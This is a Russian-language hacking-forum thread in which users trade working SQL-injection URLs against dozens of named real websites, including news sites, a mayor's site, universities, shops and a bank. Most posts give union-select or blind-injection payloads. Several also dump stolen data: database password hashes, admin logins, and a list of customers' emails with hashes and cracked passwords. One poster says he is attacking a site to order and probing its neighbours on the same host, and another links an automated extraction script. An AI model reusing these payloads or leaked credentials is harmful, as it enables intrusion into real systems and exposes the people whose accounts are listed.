SQL-инъекции

Код:

http://kontakt-ukraine.com.ua/products.php?category=2%20UNION%20SELECT%200,1,2,3

не самая выгодная инъекцЫя... =\

USER: kontakt-ukraine@localhost
DB: kontakt-ukraine
MySQL: 4.1.12

 

Код:

http://www.coldhardfootballfacts.com/Article.php?Page=14722222+union+select+1,2,3,4,5,6,7,concat(VERSION(),0x3a,USER(),0x3a,DATABASE()),9,10,11,12,13,14,15,16/*

Код:

http://www.texe.com/view.php?page=1099999+union+select+1,concat(VERSION(),0x3a,USER(),0x3a,DATABASE()),3,4,5/*

 

Харцызский Трубный Завод

Код:

http://www.ukrpipe.com.ua/RUS/news.php?id=-1+union+select+1,2,3,table_name+from+information_schema.tables/*

Всеукраинская техническая газета

Код:

http://www.vtg.lg.ua/index.php?year=2006&id=-41+union+select+version(),user(),database(),4,5/*

Код:

http://www.cubatravel.cu/client/products/products.php?id=-3+union+select+user(),2/*

А. Лукьянченко Официальный сайт Донецкого городского головы

Код:

http://lukyanchenko.dn.ua/view.php?id=-3187+union+select+1,2,3,4,5,concat(user(),0x3a,version(),0x3a,database()),7,table_name,9,10+from+information_schema.tables/*&cat=1&subcat=0&type=1

Институт математики экономики и механики Одесского национального университета им. И.И.Мечникова

Код:

http://www.imem.odessa.ua/faculties.php?id=-2+union+select+1,passwd,name,4,5,6,email,8,9+from+users/*

webmaster:&WЂчS/`wDvxч)Ѓжў
webmaster@imem.odessa.ua

Код:

http://www.rareconservation.org/news/article.php?id=-14+union+select+1,2,user(),4,concat(version(),0x3a,database()),6,7,8,9,10,11,12,13,14,15,16,17,18+from+news/*

Код:

http://www.americanforests.org/news/display.php?id=-167+union+select+1,2,user,4,password,6,7+from+mysql.user/*

root:*236FB56946627F45C458B3434306F66D085BAF25
liveweb:*9A15CDAE497B891F892D82CC25C89CB34CF519CC
adminweb:*160CC77703CF91DE69921040D35F94E46B897CB3
conference:*7769CBE36C25AA869D42E707102C5DBB94816511

Код:

http://www.everson.org/news/article.php?id=-22+union+select+1,2,password,username+from+users/*

evers0n:z5Acrour

Код:

http://www.glaad.org/media/resource_kit_detail.php?id=-3495+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+mysql.user/*

Код:

http://www.selfservice.org/article.php?id=-1887+union+select+concat(user(),0x3a,version(),0x3a,database()),2,3,4,5,6,7/*

имееються таблицы:newsletter/members

 

Код:

http://green.ru/news/event.htm?id=63%20union%20select%201,2,3,4,5,6,7/*

там ниче особого просто сам факт инъекции

 

Код:

http://nuzhdin.ru/?pageId=4&diskId=11%20union%20select%201,2,table_name,4,5%20from%20INFORMATION_SCHEMA.TABLES

сайт А. Нуждина-ведущего FM Cafe на радио MAXIMUM. Кстати я его слушаю всегда))))

 

Код:

http://www.19rus.info/rss.php?rubric_id=5'

вот. тока влом с пгскл разбираться

 

Код:

http://green.ru/news/event.htm?id=63+union+select+1,version(),3,user(),database(),6,7/*

no commentz

Код:

http://green.ru/news/event.htm?id=-1+union+select+1,login,3,password,email,6,7+from+users/*

 

Код:

http://www.science-forum.ru/index.php?name='

 

DIKIY,

В самом начале ведь написано:

К тому же...в твоем случае тут нет скули...максимум локальный инклуд...

 

Код:

http://www.global.kharkov.com/news.php?id=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
http://www.schmittspiele.de/spiele/sql.php?id=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16
http://sei-djin-kai.org.ua/index.php?id=99999+UNION+SELECT+1,2,3,4,5
http://cartoons.sev.com.au/index.php?catid=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10

 

Код:

http://www.getaphpsite.com/demos/topsites/category.php?cat=-1/**/UNION/**/ALL/**/SELECT/**/1,concat(username,0x3a,password),3,4,5/**/FROM/**/users/*]
http://www.getaphpsite.com/demos/topsites/category.php?cat=-1/**/UNION/**/ALL/**/SELECT/**/1,concat(username,0x3a,password),3,4,5/**/FROM/**/admin/*

 

Тему никто не хочет продолжать...(
В таком случае я выложу парочку mssql скулей...

Код:

http://www.ekskovator.ru/expo/news.asp?id=@@version--
http://www.nexun.ca/En/News_More.asp?Id=@@version--
http://www.webnetism.com/newsview.asp?id=@@version--
http://www.itx.net/Offering.asp?id=@@version--
http://www.shands.org/news/archive/newsDetails.asp?ID=@@version--
http://www.dots4less.com/SupportFAQDetails.asp?FAQID=@@version--

Не подумайте, что скули не законченные...
Просто зачем вручную их разрабатывать, подбирать таблицы и колонки, вытягивать поштучно информацию, когда всё это можно сделать через скрипт от [cash] - _http://pidor.in/mssql.php (ссылка в паблике с разрешением автора)...
Думаю что разберетесь как им пользоваться...
Если что, стучите...помогу...

 

Продолжаю тему

Код:

http://mobile.ru/news.php?news_id=-1+union+select+1,2,3,4,5,6,7,8/*

Код:

http://www.anewpark.ca/parkupdate.php?id=-1+union+select+1,2,3,4,5/*

Код:

http://www.nonom.cn/showmz.php?id=-1+union+select+1,2,3,4,5,6,7,8/*

Дальше ковырятся не стал

 

Код:

http://imexbank.com.ua/rus/view.phtml?pollID=1+and+ascii(lower(substring((select+user+from+mysql.user),1,1)))%3E0

=))

 

По заказу должен поиметь один сайт...Он не бажный поэтому юзаю реверс ип..Сайтов там у хостера порядка 100...Выкладываю бажные скули:

Код:

http://ataman-kpc.ru/?art_id=-1+union+select+0,1,2,3,4,5,6,7/*

Код:

http://globalcatering.ru/news/?id=-1+union+select+1,2,3,4,5/*

 

Код:

http://moto25.ru/news.php?newsnomber=-30+union+select+1,2,database(),version()+from+news/*

Добавлено через 9 часов 53 минуты

Код:

http://www.massaudubon.org/Nature_Connection/catalog.php?getresults=short&ddlbRegion=-1'+union+select+1,2,3,4,5,6,7,8,9,1,version(),3,4,5,6,7,8,9,1,2,3,4,5,6,7,8,9,1,2,3,4,5,6,7,8,9,1,2,3,4,5,6,7,8,9,1,2,3,4,5,6,7,8,9,1,2,3,4,5,6,7,8,9,1,2,3+from+news/*

 

Код:

http://rezonans.info/index.php?p=news&nID=-1+union+select+0,1,2,3,4,5,6,7,8,9/*

 

Код:

http://www.drumshop.co.uk/product.php?id=-939+union+select+1,concat(email,0x3a,password),3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2+from+users+limit+2,1/*
http://www.drumshop.co.uk/product.php?id=-939+union+select+1,concat(email,0x3a,password),3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2+from+users+limit+3,1/*

Хеши SHA-1, примеры:

asfraser@stewartfraser.com:f313791ae069ed592c35c483b3d4f8d2a74a74b2 - dominique
steven.crossley@btinternet.com:286b9b7b50ab89e3397b4df540021b531f457f7f - mozart
disturbedbob@hotmail.com:c8ffcdad0fbdaa06c0e2cac5cfc66bce9ee9e906 - machinehead
herbified@hotmail.com:53ae6cb286fc1b953781453a5d783719e1c53d31 - opensaysme

Добавлено через 15 минут

Код:

http://www.pluralism.org/news/article.php?id=-11645+union+select+1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,user(),6,7,database(),version(),0,1,2,3,4,5,6,7,8,9,0,1/*

Добавлено через 33 минуты

Код:

http://www.huntearth.com/detail.php?ID=-3574+union+select+1,2,3,4,5,6,7,8,9,0,1,version(),3,4,5,6,7,8,9,0,1,2,3/*

Добавлено через 42 минуты

Код:

http://www.cz-usa.com/product_detail.php?id=-74+union+select+1,2,version(),user(),5,6/*

Добавлено через 59 минут

Код:

http://www.streetendfeeds.co.uk/productdetails.php?id=-26+union+select+1,version(),3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2/*

Есть таблицы user и admin
Версия БД - 5.0.41-community-nt
Сервер на винде...

Добавлено через 1 час 3 минуты

Код:

http://www.wgr550.com/sabres/fullstory.php?id=-2411+union+select+1,2,version(),user(),5,6,7,8,9,0,1,2,3,4/*

Добавлено через 1 час 19 минут

Код:

http://www.bathtubmusic.com/album.php?id=2301+union+select+1,2,3,4--

Отсутствуют выводимые поля...

 

Код:

http://www.ukma.kiev.ua/news/news_detailed.php?id=-1+union+select+0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15/*

Добавлено через 21 час 33 минуты

Код:

http://new.antipapism.kiev.ua/index.php?mid=2&f=reed&bid=23&tid=-1+union+select+0,1,2,3,4,5,6,7,8/*

Добавлено через 21 час 55 минут

Код:

http://www.nazaret.kiev.ua/news/?id=550+and+ascii(lower(substring((version()),1,1)))>0/*

Добавлено через 22 часа 26 минут

Код:

http://www.vovremya.info/print.php?art=-1+union+select+0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15/*

 

Код:

http://happyland.ru/brands.php?id=-5+union+select+1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9/*

Код:

http://www.fox28.com/printable.php?ID=-99999999+union+select+1,concat(username,0x3a,password),3,4,5,6,7,8,9,0,1,2,3,4,5,6,7+from+user/*

Пароли в mysql...брутятся на ура, но куда их вставлять я так и не нашел..
Кол-во пользователей тьма...есть предположение, что осталось старая БД...